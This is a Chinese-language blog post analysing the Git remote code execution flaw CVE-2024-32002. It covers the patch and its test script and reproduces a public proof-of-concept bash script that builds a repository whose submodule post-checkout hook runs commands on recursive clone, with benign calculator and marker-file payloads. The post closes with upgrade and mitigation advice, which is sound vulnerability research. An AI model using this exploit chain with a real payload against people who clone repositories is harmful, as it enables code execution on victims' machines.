0%

CVE-2024-32002_Git远程代码执行漏洞复现与分析

前置知识

  • 在开发项目中如果需要想讲两个项目作为独立项目,又想在一个项目中去使用另一个项目,可通过git的子模块来解决这个问题。git 的子模块允许使用一个项目的git仓库时去递归引用另一个项目git仓库的子目录。 一般通过 git submodule命令进行操作 。

  • post-checkout文件是Git中的一种钩子,在运行git clone或git checkout命令后将会被调用。

  • 在Windows和Mac系统中 不区分大小写,所以在创建文件目录时创建一个 AA 的目录后将无法创建一个名为 aa 的目录。【这个并没有在分析时体现出来,没有相关代码可供分析,POC是通过修复代码中的测试脚本文件去实现的】

漏洞概述

Git是一款免费开源的分布式版本控制系统,支持在多个系统中安装运行,广泛用于协作开发和管理软件项目。在git中提供了许多功能,比如子模块、钩子等,使得git在使用时变得更为灵活。

在开发项目中如果需要想讲两个项目作为独立项目,又想在一个项目中去使用另一个项目,可通过git的子模块来解决这个问题。git 的子模块允许使用一个项目的git仓库时去递归引用另一个项目git仓库的子目录。 一般通过 git submodule命令进行添加子模块 。

在使用git clone 命令时, 会根据.gitmodules文件自动克隆hook的子模块,子模块中的post-checkout钩子会被触发。未经身份认证的远程攻击者创建带有特殊子模块和符号链接的恶意存储库,当受害者在git clone时将会触发恶意脚本,从而造成远程代码执行,该漏洞可被用于钓鱼或偷毒,但在Windows中的利用条件较为苛刻(需要管理员权限)。

漏洞影响

仅影响Windows和MAC系统下如下版本:

git 2.45.0

git 2.44.0

git 2.43.* < 2.43.4

git 2.42.* < 2.42.2

git 2.41.0

git 2.40.* < 2.40.2

git < 2.39.4

补丁分析

地址:https://github.com/git/git/commit/97065761333fd62db1912d81b489db938d8c991d

在补丁更新中 主要变更了两个文件,一个是文件补丁,另一个则为测试脚本。

在clone_submodule中添加了克隆前进行了判断,如果子模块目录是否存在且为空,如果不为空则会终止。

新加了一个 dir_contains_only_dotgit()函数,主要作用为 检查目录是否仅包含 .git文件后目录,如果存在其他文件或目录则返回错误。

第二个文件更新则为测试脚本

在hook子目录中的post-checkout钩子中写入命令,然后将带有post-chechout钩子的hook仓库作为子模块添加到captiain仓库中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
'submodule paths must not follow symlinks' '
# This is only needed because we want to run this in a self-contained
# test without having to spin up an HTTP server; However, it would not
# be needed in a real-world scenario where the submodule is simply
# hosted on a public site.
test_config_global protocol.file.allow always &&
# Make sure that Git tries to use symlinks on Windows
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
'

漏洞复现

Windows下在管理员权限下通过Git Bash可复现此漏洞【需要管理员权限!】

POC来源:https://github.com/amalmurali47/git_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/bin/bash

# Set Git configuration options

# 允许使用file协议
git config --global protocol.file.allow always
# 启用对符合链接的支持
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
# 设置默认分支名 main 避免出现告警信息
git config --global init.defaultBranch main


# 定义标志文件路径
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# 初始化hook仓库
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks


# 编写恶意hook代码
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# 设置hook文件的可执行权限
# Make the hook executable: important
chmod +x y/hooks/post-checkout

# 添加并提交hook
git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# 定义hook仓库路径
# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# 初始化captain仓库
# Initialize the captain repository
git init captain
cd captain

# 添加 hook仓库作为 子模块 路径为 A/modulesx 名称为 x/y
git submodule add --name x/y "$hook_repo_path" A/modules/x
# 提交子模块更改
git commit -m "add-submodule"

# Create a symlink
# 创建符合链接
printf ".git" > dotgit.txt
# 计算文件的哈希值
git hash-object -w --stdin < dotgit.txt > dot-git.hash
# 准备索引信息
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
# 更新git索引
git update-index --index-info < index.info
# 提交更改
git commit -m "add-symlink"
cd ..

# 克隆仓库
git clone --recursive captain hooked

运行git clone --recursive git@github.com:10cks/captain.git 即可远程复现此漏洞

修复措施

升级版本

目前官方已有可更新版本,建议受影响用户升级至最新版本:

git 2.45.* >= 2.45.1

git 2.44.* >= 2.44.1

git 2.43.* >= 2.43.4

git 2.42.* >= 2.42.2

git 2.41.* >= 2.41.1

git 2.40.* >= 2.40.2

git >= 2.39.4

下载地址:

https://github.com/git/git/tags

缓解方案

1.在Git中禁用符号链接(git config --global core.symlinks false

2.避免在不受信任的来源克隆存储库

References

https://amalmurali.me/posts/git-rce/

https://github.com/git/git/commit/97065761333fd62db1912d81b489db938d8c991d

https://github.com/amalmurali47/git_rce

https://git-scm.com/book/zh/v2/%E8%87%AA%E5%AE%9A%E4%B9%89-Git-Git-%E9%92%A9%E5%AD%90

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------